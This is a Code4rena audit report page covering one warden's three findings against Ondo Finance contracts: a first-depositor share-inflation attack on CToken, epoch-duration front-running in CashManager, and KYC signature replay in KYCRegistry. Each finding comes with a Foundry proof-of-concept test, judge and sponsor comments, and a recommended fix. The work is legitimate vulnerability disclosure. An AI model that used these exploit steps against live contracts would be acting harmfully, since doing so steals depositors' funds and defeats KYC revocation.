Platform: Code4rena
Start Date: 11/01/2023
Pot Size: $60,500 USDC
Total HM: 6
Participants: 69
Period: 6 days
Judge: Trust
Total Solo HM: 2
Id: 204
League: ETH
Rank: 1/69
Findings: 3
Award: $11,205.52
π Selected for report: 3
π Solo Findings: 1
π Selected for report: AkshaySrivastav
7481.1721 USDC - $7,481.17
https://github.com/code-423n4/2023-01-ondo/blob/main/README.md?plain=1#L1
c7a398a81e9d443542ca06717ef713924dafb717
#0 - akshaysrivastav
2023-01-21T10:58:11Z
This placeholder issue was created according to the criteria mentioned by C4 https://docs.code4rena.com/roles/wardens/submission-policy#findings-in-parent-of-forked-projects
The hash posted above (c7a398a81e9d443542ca06717ef713924dafb717) was generated using the shasum
command on Ubuntu for the file shared below.
Command: shasum first-deposit-bug.md
Adding the content of the file here :-
The CToken is a yield bearing asset which is minted when any user deposits some units of
underlying
tokens. The amount of CTokens minted to a user is calculated based upon
the amount of underlying
tokens user is depositing.
As per the implementation of CToken contract, there exist two cases for CToken amount calculation:
CToken.totalSupply()
is 0
.Here is the actual CToken code (extra code and comments clipped for better reading):
function exchangeRateStoredInternal() internal view virtual returns (uint) { uint _totalSupply = totalSupply; if (_totalSupply == 0) { return initialExchangeRateMantissa; } else { uint totalCash = getCashPrior(); uint cashPlusBorrowsMinusReserves = totalCash + totalBorrows - totalReserves; uint exchangeRate = (cashPlusBorrowsMinusReserves * expScale) / _totalSupply; return exchangeRate; } } function mintFresh(address minter, uint mintAmount) internal { // ... Exp memory exchangeRate = Exp({mantissa: exchangeRateStoredInternal()}); uint actualMintAmount = doTransferIn(minter, mintAmount); uint mintTokens = div_(actualMintAmount, exchangeRate); totalSupply = totalSupply + mintTokens; accountTokens[minter] = accountTokens[minter] + mintTokens; }
The above implementation contains a critical bug which can be exploited to steal funds of initial depositors of a freshly deployed CToken contract.
As the exchange rate is dependent upon the ratio of CToken's totalSupply and underlying token balance of CToken contract, the attacker can craft transactions to manipulate the exchange rate.
Steps to attack:
Once the CToken has been deployed and added to the lending protocol, the attacker mints the smallest possible amount of CTokens.
Then the attacker does a plain underlying
token transfer to the CToken contract, artificially inflating the underlying.balanceOf(CToken)
value.
Due to the above steps, during the next legitimate user deposit, the mintTokens
value for
the user will become less than 1
and essentially be rounded down to 0
by Solidity.
Hence the user gets 0
CTokens against his deposit and the CToken's entire supply is held by the Attacker.
The Attacker can then simply reedem
his CToken balance for the entire underlying
token balance of the
CToken contract.
The same steps can be performed again to steal the next user's deposit.
It should be noted that the attack can happen in two ways:
A sophisticated attack can impact all user deposits until the lending protocols owners and users are notified and contracts are paused. Since this attack is a replicable attack it can be performed continuously to steal the deposits of all depositors that try to deposit into the CToken contract.
The loss amount will be the sum of all deposits done by users into the CToken multiplied by the underlying token's price.
Suppose there are 10
users and each of them tries to deposit 1,000,000
underlying tokens into the CToken contract. Price of underlying token is $1
.
Total loss (in $) = $10,000,000
New test case was added to forge-tests/lending/fToken/fDAI.t.sol
function test_bug_firstMintIssue() public { address attacker = alice; seedUserDAI(attacker, 2_000_000e18); seedUserDAI(bob, 1_000_000e18); assertEq(fDAI.exchangeRateStored(), 2e26); assertEq(fDAI.totalSupply(), 0); assertEq(fDAI.balanceOf(attacker), 0); vm.prank(attacker); DAI.approve(address(fDAI), type(uint256).max); vm.prank(attacker); fDAI.mint(2e8); assertEq(fDAI.balanceOf(attacker), 1); assertEq(fDAI.totalSupply(), 1); vm.prank(bob); DAI.approve(address(fDAI), type(uint256).max); // Front-running vm.prank(attacker); DAI.transfer(address(fDAI), 1_000_000e18); assertEq(fDAI.getCash(), 1_000_000e18 + 2e8); vm.prank(bob); fDAI.mint(1_000_000e18); assertEq(fDAI.balanceOf(bob), 0); assertEq(fDAI.totalSupply(), 1); vm.prank(attacker); fDAI.redeem(1); assertEq(DAI.balanceOf(attacker), 3_000_000e18); assertEq(fDAI.totalSupply(), 0); }
The fix to prevent this issue would be to enforce a minimum deposit that cannot be withdrawn. This can be done by minting small amount of CToken units to 0x00
address on the first deposit.
function mintFresh(address minter, uint mintAmount) internal { // ... Exp memory exchangeRate = Exp({mantissa: exchangeRateStoredInternal()}); uint actualMintAmount = doTransferIn(minter, mintAmount); uint mintTokens = div_(actualMintAmount, exchangeRate); /// THE FIX if (totalSupply == 0) { totalSupply = 1000; accountTokens[address(0)] = 1000; mintTokens -= 1000; } totalSupply = totalSupply + mintTokens; accountTokens[minter] = accountTokens[minter] + mintTokens; // ... }
Instead of a fixed 1000
value an admin controlled parameterized value can also be used to control the burn amount on a per CToken basis.
End of file content
#1 - c4-judge
2023-01-23T13:58:02Z
trust1995 changed the severity to 2 (Med Risk)
#2 - c4-judge
2023-01-23T13:58:07Z
trust1995 marked the issue as primary issue
#3 - trust1995
2023-01-23T13:58:34Z
This is a well known attack. Will let sponsor have a look but may QA in the future.
#4 - c4-judge
2023-01-23T13:59:20Z
trust1995 marked the issue as satisfactory
#5 - c4-sponsor
2023-01-31T15:50:22Z
ali2251 marked the issue as sponsor confirmed
#6 - ypatil12
2023-01-31T15:51:10Z
This is a bug, we get around this operationally by minting fTokens and burning when initializing the market. See our proposal here: https://www.tally.xyz/gov/ondo-dao/proposal/3
#7 - trust1995
2023-02-01T07:30:38Z
Leaving as Med severity as likelihood is low but potential impact is high + sponsor found it valuable.
#8 - c4-judge
2023-02-01T07:50:04Z
trust1995 marked the issue as selected for report
#9 - akshaysrivastav
2023-02-01T08:17:57Z
Few points about why this issue should be considered as High Severity.
Looking forward to hear the thoughts of judges.
#10 - trust1995
2023-02-01T08:23:16Z
π Selected for report: AkshaySrivastav
Also found by: bin2chen
3366.5274 USDC - $3,366.53
https://github.com/code-423n4/2023-01-ondo/blob/main/contracts/cash/CashManager.sol#L546-L552
The CashManager contract contains setEpochDuration
function which is used by MANAGER_ADMIN
role to update the epochDuration
parameter.
function setEpochDuration(uint256 _epochDuration) external onlyRole(MANAGER_ADMIN) { uint256 oldEpochDuration = epochDuration; epochDuration = _epochDuration; emit EpochDurationSet(oldEpochDuration, _epochDuration); }
The result of the setEpochDuration
function execution can be impacted any external agent. The epochDuration
is a crucial parameter of CashManager contract which determines the length of epochs in the contract.
The issue here is that the setEpochDuration
function updates the epochDuration
value without invoking the transitionEpoch
function first. This leads to two different end results and scenarios:
transitionEpoch
is executed before setEpochDuration
by an external agent (front-running).transitionEpoch
is executed after setEpochDuration
by an external agent (back-running).In these two different cases, the duration and epoch number of last few passed epochs can be impacted differently. The result become dependent upon the wish of the external agent.
The exact impact is demonstrated in the PoC below.
New test cases were added to forge-tests/cash/cash_manager/Setters.t.sol
file.
function test_bug_inconsistentOutputOf_setEpochDuration_Case1() public { // skip 1 epoch duration vm.warp(block.timestamp + 1 days); // here the setEpochDuration() txn is frontrunned by issuing the transitionEpoch() txn cashManager.transitionEpoch(); // this is the setEpochDuration() txn which was frontrunned cashManager.setEpochDuration(2 days); assertEq(cashManager.currentEpoch(), 1); vm.warp(block.timestamp + 2 days); cashManager.transitionEpoch(); assertEq(cashManager.currentEpoch(), 2); // number of epochs after 3 days is 2 } function test_bug_inconsistentOutputOf_setEpochDuration_Case2() public { // skip 1 epoch duration vm.warp(block.timestamp + 1 days); // here we wait for the setEpochDuration() to be validated on the network cashManager.setEpochDuration(2 days); // then we backrun the setEpochDuration() txn with transitionEpoch() txn cashManager.transitionEpoch(); assertEq(cashManager.currentEpoch(), 0); vm.warp(block.timestamp + 2 days); cashManager.transitionEpoch(); assertEq(cashManager.currentEpoch(), 1); // number of epochs after 3 days is 1 }
Manual review
The transitionEpoch
function should be executed before executing the setEpochDuration
function so that the values for passed epochs are recorded in a consistent way. This can be done by adding the updateEpoch
modifier.
function setEpochDuration(uint256 _epochDuration) external updateEpoch onlyRole(MANAGER_ADMIN) { uint256 oldEpochDuration = epochDuration; epochDuration = _epochDuration; emit EpochDurationSet(oldEpochDuration, _epochDuration); }
#0 - c4-judge
2023-01-22T18:59:27Z
trust1995 marked the issue as duplicate of #83
#1 - c4-judge
2023-01-22T18:59:31Z
trust1995 marked the issue as satisfactory
#2 - c4-judge
2023-02-01T07:57:16Z
trust1995 marked the issue as selected for report
#3 - C4-Staff
2023-02-03T18:02:01Z
JeeberC4 marked the issue as selected for report
π Selected for report: AkshaySrivastav
Also found by: 0xjuicer, Bauer, Tajobin, adriro, csanuragjain, gzeon, immeas, rbserver
357.8221 USDC - $357.82
https://github.com/code-423n4/2023-01-ondo/blob/main/contracts/cash/kyc/KYCRegistry.sol#L79-L112
The KYCRegistry contract uses signatures to grant KYC status to the users using the addKYCAddressViaSignature
function.
However this function does not prevent replaying of signatures in the case where KYC status was revoked of a user.
function addKYCAddressViaSignature( ... ) external { require(v == 27 || v == 28, "KYCRegistry: invalid v value in signature"); require( !kycState[kycRequirementGroup][user], "KYCRegistry: user already verified" ); require(block.timestamp <= deadline, "KYCRegistry: signature expired"); bytes32 structHash = keccak256( abi.encode(_APPROVAL_TYPEHASH, kycRequirementGroup, user, deadline) ); bytes32 expectedMessage = _hashTypedDataV4(structHash); address signer = ECDSA.recover(expectedMessage, v, r, s); _checkRole(kycGroupRoles[kycRequirementGroup], signer); kycState[kycRequirementGroup][user] = true; // ... }
This function could be exploited in the case when these conditions are true:
deadline
.deadline
was passed, the KYC status of user was revoke using the removeKYCAddresses
function.In the above mentioned conditions the malicious user can submit the original signature again to the addKYCAddressViaSignature
function which will forcefully grant the KYC status to malicious user again.
It should also be noted that due to this bug until the deadline has been passed the privileged accounts cannot revoke the KYC status of a KYC granted user. This can result in unwanted moving of funds by the user in/out of Ondo protocol.
Test file created BugTest.t.sol
and was run by forge test --mp ./forge-tests/BugTest1.t.sol
pragma solidity 0.8.16; import "forge-std/Test.sol"; import "forge-std/Vm.sol"; import "contracts/cash/kyc/KYCRegistry.sol"; contract SanctionsList { function isSanctioned(address) external pure returns (bool) { return false; } } struct KYCApproval { uint256 kycRequirementGroup; address user; uint256 deadline; } contract BugTest1 is Test { bytes32 APPROVAL_TYPEHASH; bytes32 DOMAIN_SEPARATOR; KYCRegistry registry; address admin; address kycAgent; uint256 kycAgentPrivateKey = 0xB0B; address attacker; function setUp() public { admin = address(0xad); attacker = address(0xbabe); kycAgent = vm.addr(kycAgentPrivateKey); registry = new KYCRegistry(admin, address(new SanctionsList())); APPROVAL_TYPEHASH = registry._APPROVAL_TYPEHASH(); DOMAIN_SEPARATOR = registry.DOMAIN_SEPARATOR(); } function test_bug() public { uint256 kycGroup = 1; bytes32 kycGroupRole = "0x01"; vm.prank(admin); registry.assignRoletoKYCGroup(kycGroup, kycGroupRole); vm.prank(admin); registry.grantRole(kycGroupRole, kycAgent); vm.stopPrank(); uint256 deadline = block.timestamp + 1 days; KYCApproval memory approval = KYCApproval({ kycRequirementGroup: kycGroup, user: attacker, deadline: deadline }); bytes32 digest = getTypedDataHash(approval); // KYC approval got signed with validity of 1 day (uint8 v, bytes32 r, bytes32 s) = vm.sign(kycAgentPrivateKey, digest); assertEq(registry.kycState(kycGroup, attacker), false); assertEq(registry.getKYCStatus(kycGroup, attacker), false); vm.prank(attacker); registry.addKYCAddressViaSignature(kycGroup, attacker, deadline, v, r, s); assertEq(registry.kycState(kycGroup, attacker), true); assertEq(registry.getKYCStatus(kycGroup, attacker), true); address[] memory toBeRemovedAddrs = new address[](1); toBeRemovedAddrs[0] = attacker; // KYC approval was removed vm.prank(kycAgent); registry.removeKYCAddresses(kycGroup, toBeRemovedAddrs); vm.stopPrank(); assertEq(registry.getKYCStatus(kycGroup, attacker), false); // KYC approval was granted again by replaying the original signature vm.prank(attacker); registry.addKYCAddressViaSignature(kycGroup, attacker, deadline, v, r, s); assertEq(registry.kycState(kycGroup, attacker), true); assertEq(registry.getKYCStatus(kycGroup, attacker), true); } function getStructHash(KYCApproval memory _approval) internal view returns (bytes32) { return keccak256(abi.encode(APPROVAL_TYPEHASH, _approval.kycRequirementGroup, _approval.user, _approval.deadline)); } function getTypedDataHash(KYCApproval memory _approval) public view returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, getStructHash(_approval))); } }
Manual review
A nonce mapping for message signers can be maintained the value of which can be incremented for every successful signature validation.
mapping(address => uint) private nonces;
A more detailed usage example can be found in OpenZeppelin's EIP-2612 implementation. https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/extensions/ERC20Permit.sol#L90
#0 - c4-judge
2023-01-22T15:53:29Z
trust1995 marked the issue as primary issue
#1 - c4-judge
2023-01-23T11:45:39Z
trust1995 marked the issue as satisfactory
#2 - ali2251
2023-01-31T15:59:29Z
Timestamps prevent replay attacks, these timestamps are like 30 minutes long, so the attack is valid only within 30 minutes and we can change the timestamp to 5 minutes and then it becomes exteremely hard for this attack to happen. Within 5 minutes, a suer must add themselves, then Admin removed them, then they add themselves but once 5 minutes is over, the attacker can no longer add themselves and so the admin can just remove them after 5 minutes. It can be see here that in tests we use 9 minutes: https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/forge-tests/cash/registry/RegistrySignature.t.sol#L57
#3 - c4-sponsor
2023-01-31T15:59:56Z
ali2251 marked the issue as disagree with severity
#4 - c4-judge
2023-02-01T07:37:30Z
trust1995 changed the severity to 2 (Med Risk)
#5 - c4-judge
2023-02-01T07:54:21Z
trust1995 marked the issue as selected for report